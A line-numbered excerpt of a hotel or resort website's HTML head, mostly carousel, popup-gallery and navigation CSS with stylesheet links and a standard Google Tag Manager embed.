-webkit-user-select: none; 2724 -khtml-user-select: none; 2725 -moz-user-select: none; 2726 -ms-user-select: none; 2727 user-select: none; 2728 -ms-touch-action: pan-y; 2729 touch-action: pan-y; 2730 -webkit-tap-highlight-color: transparent; 2731} 2732 2733.slick-list { 2734 position: relative; 2735 overflow: hidden; 2736 display: block; 2737 margin: 0; 2738 padding: 0; 2739} 2740 2741.slick-list:focus { 2742 outline: none; 2743} 2744 2745.slick-list.dragging { 2746 cursor: pointer; 2747 cursor: hand; 2748} 2749 2750.slick-slider .slick-track, 2751.slick-slider .slick-list { 2752 -webkit-transform: translate3d(0, 0, 0); 2753 -moz-transform: translate3d(0, 0, 0); 2754 -ms-transform: translate3d(0, 0, 0); 2755 -o-transform: translate3d(0, 0, 0); 2756 transform: translate3d(0, 0, 0); 2757} 2758 2759.slick-track { 2760 position: relative; 2761 left: 0; 2762 top: 0; 2763 display: block; 2764 margin-left: auto; 2765 margin-right: auto; 2766} 2767 2768.slick-track:before, .slick-track:after { 2769 content: ""; 2770 display: table; 2771} 2772 2773.slick-track:after { 2774 clear: both; 2775} 2776 2777.slick-loading .slick-track { 2778 visibility: hidden; 2779} 2780 2781.slick-slide { 2782 float: left; 2783 height: 100%; 2784 min-height: 1px; 2785 display: none; 2786} 2787 2788[dir="rtl"] .slick-slide { 2789 float: right; 2790} 2791 2792.slick-slide img { 2793 display: block; 2794} 2795 2796.slick-slide.slick-loading img { 2797 display: none; 2798} 2799 2800.slick-slide.dragging img { 2801 pointer-events: none; 2802} 2803 2804.slick-initialized .slick-slide { 2805 display: block; 2806} 2807 2808.slick-loading .slick-slide { 2809 visibility: hidden; 2810} 2811 2812.slick-vertical .slick-slide { 2813 display: block; 2814 height: auto; 2815 border: 1px solid transparent; 2816} 2817 2818.slick-arrow.slick-hidden { 2819 display: none; 2820} 2821
2822/* Variables 2823**********************************/ 2824/* all vars, no need for @if critical */ 2825/* breakpoints */ 2826/* Animation - see header.scss for usage examples */ 2827/* Form placeholders */ 2828/* Usage: 2829 2830 .foo { 2831 @include placeholder { 2832 color: green; 2833 } 2834 } 2835 2836 @include placeholder { 2837 color: red; 2838 } 2839*/ 2840/* Flexbox 2841***************************************/ 2842/* Card */ 2843/* Filter */ 2844/* Gridder */ 2845/* Variables 2846**********************************/ 2847/* all vars, no need for @if critical */ 2848/* breakpoints */ 2849/* Animation - see header.scss for usage examples */ 2850/* Form placeholders */ 2851/* Usage: 2852 2853 .foo { 2854 @include placeholder { 2855 color: green; 2856 } 2857 } 2858 2859 @include placeholder { 2860 color: red; 2861 } 2862*/ 2863/* Flexbox 2864***************************************/ 2865/* Card */ 2866/* Filter */ 2867/* Gridder */ 2868/* Magnific Popup CSS */ 2869.mfp-bg { 2870 top: 0; 2871 left: 0; 2872 width: 100%; 2873 height: 100%; 2874 z-index: 1042; 2875 overflow: hidden; 2876 position: fixed; 2877 background: #0b0b0b; 2878 opacity: 0.8; 2879} 2880 2881.mfp-wrap { 2882 top: 0; 2883 left: 0; 2884 width: 100%; 2885 height: 100%; 2886 z-index: 1043; 2887 position: fixed; 2888 outline: none !important; 2889 -webkit-backface-visibility: hidden; 2890} 2891 2892.mfp-container { 2893 text-align: center; 2894 position: absolute; 2895 width: 100%; 2896 height: 100%; 2897 left: 0; 2898 top: 0; 2899 padding: 0 8px; 2900 box-sizing: border-box; 2901} 2902 2903.mfp-container:before { 2904 content: ''; 2905 display: inline-block; 2906 height: 100%; 2907 vertical-align: middle; 2908} 2909 2910.mfp-align-top .mfp-container:before { 2911 display: none; 2912} 2913 2914.mfp-content { 2915 position: relative; 2916 display: inline-block; 2917 vertical-align: middle; 2918 margin: 0 auto; 2919 text-align: left; 2920 z-index: 1045; 2921} 2922 2923.mfp-inline-holder .mfp-content, 2924.mfp-ajax-holder .mfp-content { 2925 width: 100%; 2926 cursor: auto; 2927} 2928 2929.mfp-ajax-cur { 2930 cursor: progress; 2931} 2932 2933.mfp-zoom-out-cur, .mfp-zoom-out-cur .mfp-image-holder .mfp-close { 2934 cursor: -moz-zoom-out; 2935 cursor: -webkit-zoom-out; 2936 cursor: zoom-out; 2937} 2938 2939.mfp-zoom { 2940 cursor: pointer; 2941 cursor: -webkit-zoom-in; 2942 cursor: -moz-zoom-in; 2943 cursor: zoom-in; 2944} 2945 2946.mfp-auto-cursor .mfp-content { 2947 cursor: auto; 2948} 2949 2950.mfp-close, 2951.mfp-arrow, 2952.mfp-preloader, 2953.mfp-counter { 2954 -webkit-user-select: none; 2955 -moz-user-select: none; 2956 user-select: none; 2957} 2958 2959.mfp-loading.mfp-figure { 2960 display: none; 2961} 2962 2963.mfp-hide { 2964 display: none !important; 2965} 2966 2967.mfp-preloader { 2968 color: #CCC; 2969 position: absolute; 2970 top: 50%; 2971 width: auto; 2972 text-align: center; 2973 margin-top: -0.8em; 2974 left: 8px; 2975 right: 8px; 2976 z-index: 1044; 2977} 2978 2979.mfp-preloader a { 2980 color: #CCC; 2981} 2982 2983.mfp-preloader a:hover { 2984 color: #FFF; 2985} 2986 2987.mfp-s-ready .mfp-preloader { 2988 display: none; 2989} 2990 2991.mfp-s-error .mfp-content { 2992 display: none; 2993} 2994 2995button.mfp-close, 2996button.mfp-arrow { 2997 overflow: visible; 2998 cursor: pointer; 2999 background: transparent; 3000 border: 0; 3001 -webkit-appearance: none; 3002 display: block; 3003 outline: none; 3004 padding: 0; 3005 z-index: 1046; 3006 box-shadow: none; 3007 touch-action: manipulation; 3008} 3009 3010button::-moz-focus-inner { 3011 padding: 0; 3012 border: 0; 3013} 3014 3015.mfp-close { 3016 width: 44px; 3017 height: 44px; 3018 line-height: 44px; 3019 position: absolute; 3020 right: 0; 3021 top: 0; 3022 text-decoration: none; 3023 text-align: center; 3024 opacity: 0.65; 3025 padding: 0 0 18px 10px; 3026 color: #FFF; 3027 font-style: normal; 3028 font-size: 28px; 3029 font-family: Arial, Baskerville, monospace; 3030} 3031 3032.mfp-close:hover, 3033.mfp-close:focus { 3034 opacity: 1; 3035} 3036 3037.mfp-close:active { 3038 top: 1px; 3039} 3040 3041.mfp-close-btn-in .mfp-close { 3042 color: #333; 3043} 3044 3045.mfp-image-holder .mfp-close, 3046.mfp-iframe-holder .mfp-close { 3047 color: #FFF; 3048 right: -6px; 3049 text-align: right; 3050 padding-right: 6px; 3051 width: 100%; 3052} 3053 3054.mfp-counter { 3055 position: absolute; 3056 top: 0; 3057 right: 0; 3058 color: #CCC; 3059 font-size: 12px; 3060 line-height: 18px; 3061 white-space: nowrap; 3062} 3063 3064.mfp-arrow { 3065 position: absolute; 3066 opacity: 0.65; 3067 margin: 0; 3068 top: 50%; 3069 margin-top: -55px; 3070 padding: 0; 3071 width: 90px; 3072 height: 110px; 3073 -webkit-tap-highlight-color: transparent; 3074} 3075 3076.mfp-arrow:active { 3077 margin-top: -54px; 3078} 3079
3080.mfp-arrow:hover, 3081.mfp-arrow:focus { 3082 opacity: 1; 3083} 3084 3085.mfp-arrow:before, 3086.mfp-arrow:after { 3087 content: ''; 3088 display: block; 3089 width: 0; 3090 height: 0; 3091 position: absolute; 3092 left: 0; 3093 top: 0; 3094 margin-top: 35px; 3095 margin-left: 35px; 3096 border: medium inset transparent; 3097} 3098 3099.mfp-arrow:after { 3100 border-top-width: 13px; 3101 border-bottom-width: 13px; 3102 top: 8px; 3103} 3104 3105.mfp-arrow:before { 3106 border-top-width: 21px; 3107 border-bottom-width: 21px; 3108 opacity: 0.7; 3109} 3110 3111.mfp-arrow-left { 3112 left: 0; 3113} 3114 3115.mfp-arrow-left:after { 3116 border-right: 17px solid #FFF; 3117 margin-left: 31px; 3118} 3119 3120.mfp-arrow-left:before { 3121 margin-left: 25px; 3122 border-right: 27px solid #3F3F3F; 3123} 3124 3125.mfp-arrow-right { 3126 right: 0; 3127} 3128 3129.mfp-arrow-right:after { 3130 border-left: 17px solid #FFF; 3131 margin-left: 39px; 3132} 3133 3134.mfp-arrow-right:before { 3135 border-left: 27px solid #3F3F3F; 3136} 3137 3138.mfp-iframe-holder { 3139 padding-top: 40px; 3140 padding-bottom: 40px; 3141} 3142 3143.mfp-iframe-holder .mfp-content { 3144 line-height: 0; 3145 width: 100%; 3146 max-width: 900px; 3147} 3148 3149.mfp-iframe-holder .mfp-close { 3150 top: -40px; 3151} 3152 3153.mfp-iframe-scaler { 3154 width: 100%; 3155 height: 0; 3156 overflow: hidden; 3157 padding-top: 56.25%; 3158} 3159 3160.mfp-iframe-scaler iframe { 3161 position: absolute; 3162 display: block; 3163 top: 0; 3164 left: 0; 3165 width: 100%; 3166 height: 100%; 3167 box-shadow: 0 0 8px rgba(0, 0, 0, 0.6); 3168 background: #000; 3169} 3170 3171/* Main image in popup */ 3172img.mfp-img { 3173 width: auto; 3174 max-width: 100%; 3175 height: auto; 3176 display: block; 3177 line-height: 0; 3178 box-sizing: border-box; 3179 padding: 40px 0 40px; 3180 margin: 0 auto; 3181} 3182 3183/* The shadow behind the image */ 3184.mfp-figure { 3185 line-height: 0; 3186} 3187 3188.mfp-figure:after { 3189 content: ''; 3190 position: absolute; 3191 left: 0; 3192 top: 40px; 3193 bottom: 40px; 3194 display: block; 3195 right: 0; 3196 width: auto; 3197 height: auto; 3198 z-index: -1; 3199 box-shadow: 0 0 8px rgba(0, 0, 0, 0.6); 3200 background: #444; 3201} 3202 3203.mfp-figure small { 3204 color: #BDBDBD; 3205 display: block; 3206 font-size: 12px; 3207 line-height: 14px; 3208} 3209 3210.mfp-figure figure { 3211 margin: 0; 3212} 3213 3214.mfp-bottom-bar { 3215 margin-top: -36px; 3216 position: absolute; 3217 top: 100%; 3218 left: 0; 3219 width: 100%; 3220 cursor: auto; 3221} 3222 3223.mfp-title { 3224 text-align: left; 3225 line-height: 18px; 3226 color: #F3F3F3; 3227 word-wrap: break-word; 3228 padding-right: 36px; 3229} 3230 3231.mfp-image-holder .mfp-content { 3232 max-width: 100%; 3233} 3234 3235.mfp-gallery .mfp-image-holder .mfp-figure { 3236 cursor: pointer; 3237} 3238 3239@media screen and (max-width: 800px) and (orientation: landscape), screen and (max-height: 300px) { 3240 /** 3241 * Remove all paddings around the image on small screen 3242 */ 3243 .mfp-img-mobile .mfp-image-holder { 3244 padding-left: 0; 3245 padding-right: 0; 3246 } 3247 .mfp-img-mobile img.mfp-img { 3248 padding: 0; 3249 } 3250 .mfp-img-mobile .mfp-figure:after { 3251 top: 0; 3252 bottom: 0; 3253 } 3254 .mfp-img-mobile .mfp-figure small { 3255 display: inline; 3256 margin-left: 5px; 3257 } 3258 .mfp-img-mobile .mfp-bottom-bar { 3259 background: rgba(0, 0, 0, 0.6); 3260 bottom: 0; 3261 margin: 0; 3262 top: auto; 3263 padding: 3px 5px; 3264 position: fixed; 3265 box-sizing: border-box; 3266 } 3267 .mfp-img-mobile .mfp-bottom-bar:empty { 3268 padding: 0; 3269 } 3270 .mfp-img-mobile .mfp-counter { 3271 right: 5px; 3272 top: 3px; 3273 } 3274 .mfp-img-mobile .mfp-close { 3275 top: 0; 3276 right: 0; 3277 width: 35px; 3278 height: 35px; 3279 line-height: 35px; 3280 background: rgba(0, 0, 0, 0.6); 3281 position: fixed; 3282 text-align: center; 3283 padding: 0; 3284 } 3285} 3286 3287@media all and (max-width: 900px) { 3288 .mfp-arrow { 3289 -webkit-transform: scale(0.75); 3290 transform: scale(0.75); 3291 } 3292 .mfp-arrow-left { 3293 -webkit-transform-origin: 0; 3294 transform-origin: 0; 3295 } 3296 .mfp-arrow-right { 3297 -webkit-transform-origin: 100%; 3298 transform-origin: 100%; 3299 } 3300 .mfp-container { 3301 padding-left: 6px; 3302 padding-right: 6px; 3303 } 3304} 3305 3306/* Fade in effect */ 3307/* overlay at start */ 3308.mfp-fade.mfp-bg { 3309 opacity: 0; 3310 -webkit-transition: all 0.15s ease-out; 3311 -moz-transition: all 0.15s ease-out; 3312 transition: all 0.15s ease-out; 3313} 3314
3315/* overlay animate in */ 3316.mfp-fade.mfp-bg.mfp-ready { 3317 opacity: 0.8; 3318} 3319 3320/* overlay animate out */ 3321.mfp-fade.mfp-bg.mfp-removing { 3322 opacity: 0; 3323} 3324 3325/* content at start */ 3326.mfp-fade.mfp-wrap .mfp-content { 3327 opacity: 0; 3328 -webkit-transition: all 0.15s ease-out; 3329 -moz-transition: all 0.15s ease-out; 3330 transition: all 0.15s ease-out; 3331} 3332 3333/* content animate it */ 3334.mfp-fade.mfp-wrap.mfp-ready .mfp-content { 3335 opacity: 1; 3336} 3337 3338/* content animate out */ 3339.mfp-fade.mfp-wrap.mfp-removing .mfp-content { 3340 opacity: 0; 3341} 3342 3343/* Variables 3344**********************************/ 3345/* all vars, no need for @if critical */ 3346/* breakpoints */ 3347/* Animation - see header.scss for usage examples */ 3348/* Form placeholders */ 3349/* Usage: 3350 3351 .foo { 3352 @include placeholder { 3353 color: green; 3354 } 3355 } 3356 3357 @include placeholder { 3358 color: red; 3359 } 3360*/ 3361/* Flexbox 3362***************************************/ 3363/* Card */ 3364/* Filter */ 3365/* Gridder */ 3366/*************************************** 3367 INLINE STYLES - Above the fold 3368****************************************/ 3369.popup-outer { 3370 display: none; 3371} 3372 3373/*************************************** 3374 DEFERRED STYLES 3375****************************************/ 3376/* 3377 MDAdmin website 3378 main style sheet: style.scss 3379 3380 Surround parts that emit css with inline, head, or after. 3381 This will break the CSS up into inline in the head, link reference in the head, 3382 and deffered link refered loaded after the </body> tag is processed. 3383 Variables, mixins etc that do not of themselves emit css stay outside those 3384 conditions and in fact are probably needed by all 3 conditions. 3385 3386********************************************/ 3387</style> 3388 3389 3390 <!-- inline bundles --> 3391 3392 <noscript id="deferred-styles"> 3393 <link href="/css/after.css?v=aqfaUVLboszjjb4xE7yj9kAVhuuGueZ426RNS_Rk_1s1" rel="stylesheet"/> 3394 3395 <link href="/css/fontello/css/fontello.css" rel="stylesheet" > 3396 <link href="/css/custom-theme/jquery-ui.min.css" rel="stylesheet" > 3397 <link href="/components/book/css/book_after.css?v=dwd_lozt_a2nyw1xp7m4juergoij1rsherdbcd2jwmg1" rel="stylesheet" > 3398 <link href="/css/auto-bundles/pages/photo-gallery/index_after.css?v=wl5nem5i1alywfzngx5tpwxuqdlzirye50k7f4gk6iw1" rel="stylesheet" > 3399 <link href="/css/auto-bundles/vendors/magnific-popup.css" rel="stylesheet" > 3400 <link href="/components/photo_gallery/css/photo_gallery_after.css?v=ahdo51j7zikq7qo9aihl9ninstdabwft9dqaweed8-k1" rel="stylesheet" > 3401 <link href="/components/footer/css/footer_after.css?v=vyst1kyld7weqrxyksgbj43djfbsrbzsras3mvoxh641" rel="stylesheet" > 3402 <link href="/components/forms/eclub/css/eclub_after.css?v=evycwbt31i2kl7j7unfqggb_gyxaxjr9_othksvtxns1" rel="stylesheet" > 3403 </noscript> 3404 3405 3406 </head> 3407 <body class=""> 3408 3409 3410 3411 3412 3413 3414 3415 <!-- Google Tag Manager (noscript) -->
vendor: 77 bytes, lines 3415-3416
3415 3416 <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=
3416GTM-TD566NW
vendor: 101 bytes, lines 3416-3418
3416" 3417 height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript> 3418
3418<!-- End Google Tag Manager (noscript) --> 3419 3420 3421 3422 3423 <style>.skip-nav-link{position:absolute;top:-4em;left:0;z-index:1001;padding:1em 1.5em;background-color:#ff671f;color:#fff;width:auto;height:auto;transition:top 1s ease-out}.skip-nav-link:focus{top:0;outline-color:transparent;transition:top .1s ease-in}.site-header{box-sizing:border-box;position:fixed;top:0;left:0;z-index:100;width:100%;color:#fff;transition:background-color .35s,color .35s}@media screen and (max-width:767px){.site-header{background-color:#fff;color:#56534d}}.site-header::before{content:'';pointer-events:none;position:absolute;top:0;left:0;z-index:-1;width:100%;height:20vh;background:linear-gradient(rgba(0,0,0,.7),rgba(0,0,0,0));transition:opacity .35s}@media screen and (max-width:767px){.site-header::before{content:none}}.active-subnav .site-header::before{opacity:0;transition:opacity 0s}.book-active .site-header::before,.isHeaderMin .site-header::before{opacity:0}.active-subnav .site-header{background-color:#fff;color:#56534d;transition:background-color 0s}.book-active .site-header,.isHeaderMin .site-header{background-color:#fff;color:#56534d;border-bottom:1px solid #ccc}.site-header-inner{box-sizing:border-box;max-width:1280px;width:94%;padding-top:1em;display:flex;transition:padding-top .35s}@media screen and (max-width:767px){.site-header-inner{padding:0;min-height:60px;width:auto;align-items:center}}.isHeaderMin .site-header-inner{padding-top:0}.site-logo{width:196px;height:80px;color:currentColor;overflow:hidden;margin:0 0 .75em;transition:width .35s,height .35s,margin .35s}@media screen and (max-width:1023px){.site-logo{width:150px;height:61px}}@media screen and (max-width:767px){.site-logo{width:116px;height:47px;margin-left:1em}}@media screen and (max-width:480px){.site-logo{margin-left:.5em}}.site-logo a{display:block;width:100%;height:100%;color:currentColor}.site-logo a:focus{outline:1px solid;outline-offset:-2px}.site-logo svg{width:100%;height:100%}.site-logo .sl-1{fill:#ff671f}.site-logo .sl-2,.site-logo .sl-3,.site-logo .sl-4,.site-logo .sl-5,.site-logo .sl-6{fill:currentColor}.isHeaderMin .site-logo{width:116px;height:47px;margin:.25em 0}.site-logo-mkbh{width:160px;height:90px;transition:width .35s,height .35s,margin .35s}@media screen and (max-width:767px){.site-logo-mkbh{width:84px;height:47px;margin-left:1em}}.site-logo-mkbh a{display:block;width:100%;height:100%;background-position:center;background-repeat:no-repeat;background-image:url(/images/layout/logos/mkbh-white.png);background-size:contain}@media screen and (max-width:767px){.site-logo-mkbh a{background-image:url(/images/layout/logos/mkbh-color.png)}}.book-active .site-logo-mkbh a,.active-subnav .site-logo-mkbh a,.isHeaderMin .site-logo-mkbh a{background-image:url(/images/layout/logos/mkbh-color.png)}.isHeaderMin .site-logo-mkbh{width:84px;height:47px;margin:.25em 0}.site-logo-westin{width:152px;height:56px;color:currentColor;overflow:hidden;margin:0;align-self:center;transition:width .35s,height .35s,margin .35s}@media screen and (max-width:767px){.site-logo-westin{width:116px;height:43px;margin-left:1em}}@media screen and (max-width:480px){.site-logo-westin{margin-left:.5em}}.site-logo-westin a{color:currentColor}.site-logo-westin svg{width:100%;height:100%}.site-logo-westin .sl-westin-fill{fill:currentColor}.isHeaderMin .site-logo-westin{width:116px;height:43px;margin:.25em 0}.site-logo-mkr{width:196px;height:80px;color:currentColor;overflow:hidden;margin:0;transition:width .35s,height .35s,margin .35s}@media screen and (max-width:1023px){.site-logo-mkr{width:150px;height:61px}}@media screen and (max-width:767px){.site-logo-mkr{width:116px;height:47px;margin-left:1em}}@media screen and (max-width:480px){.site-logo-mkr{margin-left:.5em}}.site-logo-mkr a{color:currentColor}.site-logo-mkr svg{width:100%;height:100%}.site-logo-mkr .mkr-logo-1{fill:#ff671f}.site-logo-mkr .mkr-logo-2,.site-logo-mkr .mkr-logo-3,.site-logo-mkr .mkr-logo-4,.site-logo-mkr .mkr-logo-5,.site-logo-mkr .mkr-logo-6{fill:currentColor}.isHeaderMin .site-logo-mkr{width:116px;height:47px;margin:.25em 0}.site-nav{box-sizing:border-box;width:75%;display:flex;align-items:flex-end;transition:width .35s,align-items .35s}@media screen and (max-width:1023px){.site-nav{width:96%}}@media screen and (max-width:767px){.site-nav{width:100%}}.site-nav .btn-pill{font-size:.75rem;margin-bottom:.85em;transition:font-size .35s,margin-bottom .35s}.site-nav .btn-pill span:not(.button-bg){padding:.6rem 1.5rem}.site-nav .btn-pill .button-bg::before,.site-nav .btn-pill .button-bg::after{background-color:#161441}.isHeaderMin .site-nav .btn-pill{font-size:.65rem;margin-bottom:.75em}.isHeaderMin .site-nav{width:60%}@media screen and (max-width:1023px){.isHeaderMin .site-nav{width:80%}}@media(hover:hover){.site-nav .nav-dine .level3 .green:hover{color:#529d6e}.site-nav .nav-dine .level3 .green:hover::before{background-color:#529d6e}}.primary-nav{font-family:"Nunito Sans",sans-serif;flex:1;display:flex;margin-right:1em}@media screen and (max-width:767px){.primary-nav{display:block;margin-right:0}}.primary-nav>li{flex:1}@media screen and (max-width:767px){.primary-nav>li{border-bottom:1px solid #ccc}}.primary-nav>li:hover .pn-link{color:#ff671f}@media screen and (max-width:767px){.primary-nav>li:hover .pn-link{background-color:#ff671f;color:#fff}}.primary-nav>li:hover .pn-link>span:after{width:100%}@media screen and (max-width:767px){.primary-nav>li:hover .pn-link::after{display:block}}.primary-nav>li.nav-golf,.primary-nav>li.nav-culture{position:relative}@media screen and (max-width:1023px){.primary-nav>li.nav-golf,.primary-nav>li.nav-culture{position:static}}.primary-nav>li.nav-golf .dd-nav,.primary-nav>
3423li.nav-culture .dd-nav{left:auto;right:-2em;min-width:700px;transform:translate(0,-20px)}@media screen and (max-width:1023px){.primary-nav>li.nav-golf .dd-nav,.primary-nav>li.nav-culture .dd-nav{left:0;right:auto;min-width:0}}.primary-nav>li.nav-golf .dd-nav.open,.primary-nav>li.nav-culture .dd-nav.open{transform:translate(0,0)}.pn-link{display:block;position:relative;color:currentColor;padding:0 0 1.15em;font-size:.813rem;font-weight:600;letter-spacing:.1em;text-align:center;text-transform:uppercase;transition:font-size .35s,padding .35s}@media screen and (max-width:767px){.pn-link{padding:.5em 50px .5em 1.5em;text-align:left}}.pn-link>span{display:inline-block;position:relative}.pn-link>span:after{-webkit-transition:width .35s;-moz-transition:width .35s;-ms-transition:width .35s;transition:width .35s;-webkit-transform:translateX(-50%);-moz-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);content:'';position:absolute;top:calc(100% - 1px);left:50%;width:0;height:1px;background-color:#ff671f;pointer-events:none}@media screen and (max-width:1023px){.pn-link>span:after{content:none}}.pn-link::after{content:'';font-family:'fontello';font-size:1.1rem;pointer-events:none;position:absolute;top:50%;right:1em;width:25px;height:25px;background-color:#fff;color:#ff671f;border-radius:50%;text-align:center;display:none;transform:translateY(-50%)}.isHeaderMin .pn-link{font-size:.75rem;padding:0 0 .8em}.is-admin .pn-link{pointer-events:none}.utility{overflow:hidden;font-family:"Lora",serif;font-size:.8rem;letter-spacing:.035em;margin-bottom:.75em;max-height:60px;transition:max-height .35s,margin-bottom .35s}@media screen and (max-width:767px){.utility{margin-bottom:0;border-bottom:1px solid #ccc}}@media screen and (max-width:767px){.utility .un-ww{display:none}}.isHeaderMin .utility{max-height:0;margin-bottom:0}.weather-widget{display:flex;align-items:center;margin:0 1em}.weather-widget .weather-icon{width:20px;margin-right:.5em}.weather-widget .weather-icon path{fill:currentColor}.weather-widget .pipe{margin:0 .5em}.utility-nav{display:flex;align-items:center}@media screen and (max-width:767px){.utility-nav{justify-content:center}}.utility-nav a{display:block;padding:.25em .75em;color:currentColor}@media screen and (max-width:767px){.utility-nav a{padding:.75em}}.utility-nav a:hover{color:#ff671f}.utility-nav a:focus{outline:1px solid;outline-offset:-1px}.mobile-utility{margin-right:60px;display:none}@media screen and (max-width:767px){.mobile-utility{flex:1;display:flex;align-items:center;justify-content:flex-end}}.mobile-utility .btn-pill{font-size:.7rem;margin-left:.5em}.mobile-utility .btn-pill span:not(.button-bg){padding:.656rem}.mobile-utility .btn-pill .button-bg::before,.mobile-utility .btn-pill .button-bg::after{background-color:#161441}.nav-panel{flex:1;display:flex;flex-direction:column;align-items:flex-end;justify-content:flex-end}@media screen and (max-width:767px){.nav-panel{position:absolute;top:100%;left:0;width:100%;height:calc(100vh - 60px);background-color:#fff;color:currentColor;border-top:1px solid #ccc;overflow-y:auto;display:none}}@media screen and (max-width:767px){.active-nav .nav-panel{display:block}}.dd-nav{-webkit-transition:opacity .35s;-moz-transition:opacity .35s;-ms-transition:opacity .35s;transition:opacity .35s;box-sizing:border-box;position:absolute;top:100%;left:50%;z-index:-1;width:740px;background-color:#fff;color:#000;padding:2em;font-size:.9em;box-shadow:0 9px 9px 0 rgba(0,0,0,.25);opacity:0;pointer-events:none;overflow:hidden;transform:translate(-50%,-20px);transition:opacity .6s ease,transform .6s ease}
3423@media screen and (max-width:1023px){.dd-nav{left:0;width:100%;transform:translate(0,-20px)}}@media screen and (max-width:767px){.dd-nav{position:relative;top:auto;left:auto;padding:0;box-shadow:none;background-color:transparent;z-index:auto;opacity:1;transform:translateY(0);pointer-events:auto;display:none}}.dd-nav.open{z-index:auto;opacity:1;transform:translate(-50%,0);pointer-events:auto}@media screen and (max-width:1023px){.dd-nav.open{display:block;transform:translate(0,0)}}.dd-nav .col{box-sizing:border-box}@media screen and (max-width:1023px){.dd-nav .col{width:auto}}.dd-nav .col-1{box-sizing:border-box;display:flex;padding-right:2em;min-width:200px}@media screen and (max-width:1023px){.dd-nav .col-1{display:block;padding-right:0}}.dd-nav .col-2{min-width:415px;flex:0 0 415px}@media screen and (max-width:767px){.dd-nav .col-2{display:none}}.dd-nav a:focus{outline:1px dotted;outline-offset:2px}.nav-stay .dd-nav{width:740px}@media screen and (max-width:1023px){.nav-stay .dd-nav{width:auto}}.nav-play .dd-nav{width:860px}@media screen and (max-width:1023px){.nav-play .dd-nav{width:auto}}.nav-dine .dd-nav{width:940px}@media screen and (max-width:1023px){.nav-dine .dd-nav{width:auto}}.dd-nav-inner{display:flex;justify-content:space-between}@media screen and (max-width:767px){.dd-nav-inner{display:block}}.subnav-menu{}.subnav-menu ul::after{content:'';width:100%;display:inline-block}@media screen and (max-width:1023px){.subnav-menu ul::after{content:none}}.nav-play .subnav-menu,.nav-dine .subnav-menu{column-count:2;column-gap:3em}@media screen and (max-width:1023px){.nav-play .subnav-menu,.nav-dine .subnav-menu{column-gap:1.5em}}@media screen and (max-width:767px){.nav-play .subnav-menu,.nav-dine .subnav-menu{column-count:auto;column-gap:normal}}.nav-dine .subnav-menu{max-width:360px;column-gap:2em}@media screen and (max-width:1023px){.nav-dine .subnav-menu{column-gap:1.5em}}@media screen and (max-width:767px){.nav-dine .subnav-menu{max-width:none}}.subnav>li{margin-bottom:.25em;break-inside:avoid-column}@media screen and (max-width:1023px){.subnav>li:hover .level3{display:block}}.subnav .level3{margin-left:1em}@media screen and (max-width:767px){.subnav .level3{margin-left:0}}.subnav .level3 a{display:inline-block;padding:.25em 0;color:#6d6d6d;position:relative;white-space:nowrap}@media screen and (max-width:1023px){.subnav .level3 a{padding-left:1em;padding-right:1em;white-space:normal}}@media screen and (max-width:767px){.subnav .level3 a{padding-left:2.5em;padding-right:2.5em}}@media(hover:hover){.subnav .level3 a:hover{color:#ff671f}.subnav .level3 a:hover::before{content:'';pointer-events:none;width:0;height:1px;position:absolute;top:100%;left:0;background-color:#ff671f;transition:width .35s}}@media screen and (hover:hover) and (max-width:1023px){.subnav .level3 a:hover::before{content:none}}.subnav .level3 a:hover::before{width:100%}.sn-link{position:relative;display:block;padding:.25em;color:#000;letter-spacing:.025em;white-space:nowrap}@media screen and (max-width:767px){.sn-link{padding:.25em 1.5em;white-space:normal}}.sn-link span{display:inline-block;position:relative}.sn-link span:after{-webkit-transition:width .35s;-moz-transition:width .35s;-ms-transition:width .35s;transition:width .35s;content:'';position:absolute;top:calc(100% - 1px);left:0;width:0;height:1px;background-color:#ff671f;pointer-events:none}@media screen and (max-width:1023px){.sn-link span:after{content:none}}.sn-link:hover{color:#ff671f}.sn-link:hover span::after{width:100%}.subnav-promo .caption-grad{height:210px;margin-bottom:.5em;line-height:1.3em;position:relative;overflow:hidden;background-color:#000;color:#fff}.subnav-promo .caption-grad figcaption{box-sizing:border-box;position:absolute;left:0;bottom:0;z-index:2;width:100%;padding:.65em;text-align:center;font-size:2em;font-weight:200;text-transform:uppercase;line-height:1;filter:drop-shadow(0 0 .5em #000)}.subnav-promo p{margin-bottom:.75em;line-height:1.4em;font-size:.813rem}.subnav-promo p:last-of-type{margin-bottom:0}.subnav-promo .lm{font-size:.9em;letter-spacing:.075em}.subnav-promo-img{height:100%;overflow:hidden}.nav-toggle{-webkit-transition:top .35s;-moz-transition:top .35s;-ms-transition:top .35s;transition:top .35s;position:absolute;bottom:0;right:0;width:60px;height:60px;color:currentColor;display:none}@media screen and (max-width:767px){.nav-toggle{display:block}}.nav-toggle>span{-webkit-transition:background-color 0s .3s;-moz-transition:background-color 0s .3s;-ms-transition:background-color 0s .3s;transition:background-color 0s .3s;display:block;position:absolute;top:30px;left:11px;right:11px;height:1px;background-color:currentColor}.nav-toggle>span:before{-webkit-transition-duration:.3s,.3s;-moz-transition-duration:.3s,.3s;transition-duration:.3s,.3s;-webkit-transition-delay:.3s,0s;-moz-transition-delay:.3s,0s;transition-delay:.3s,0s;-webkit-transition-property:top,transform;-moz-transition-property:top,transform;transition-property:top,transform;top:-9px;background-color:currentColor;content:"";display:block;height:1px;left:0;position:absolute;width:100%}.nav-toggle>span:after{-webkit-transition-duration:.3s,.3s;-moz-transition-duration:.3s,.3s;transition-duration:.3s,.3s;-webkit-transition-delay:.3s,0s;-moz-transition-delay:.3s,0s;transition-delay:.3s,0s;-webkit-transition-property:bottom,transform;-moz-transition-property:bottom,transform;transition-property:bottom,transform;bottom:-9px;background-color:currentColor;content:"";display:block;height:1px;left:0;position:absolute;width:100%}.nav-toggle>span>span{display:block;padding-top:15px;text-transform:uppercase;font-size:12px;color:currentColor}.active-nav .nav-toggle>span{background:none}.active-nav .nav-toggle>span:before{-webkit-transform:rotate(45deg);-moz-transform:rotate(45deg);-ms-transform:rotate(45deg);transform:rotate(45deg);top:0}.active-nav .nav-toggle>span:after{-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);-ms-transform:rotate(-45deg);transform:rotate(-45deg);bottom:0}.package-slider{width:415px;min-height:300px}.package-slider .slick-arrow{top:80px}.package-slider .slick-prev{left:0;transform:translate(5px,0%)}.package-slider .slick-prev:hover{transform:translate(0,0%)}.package-slider .slick-next{right:0;transform:translate(-5px,0%)}.package-slider .slick-next:hover{transform:translate(0,0%)}
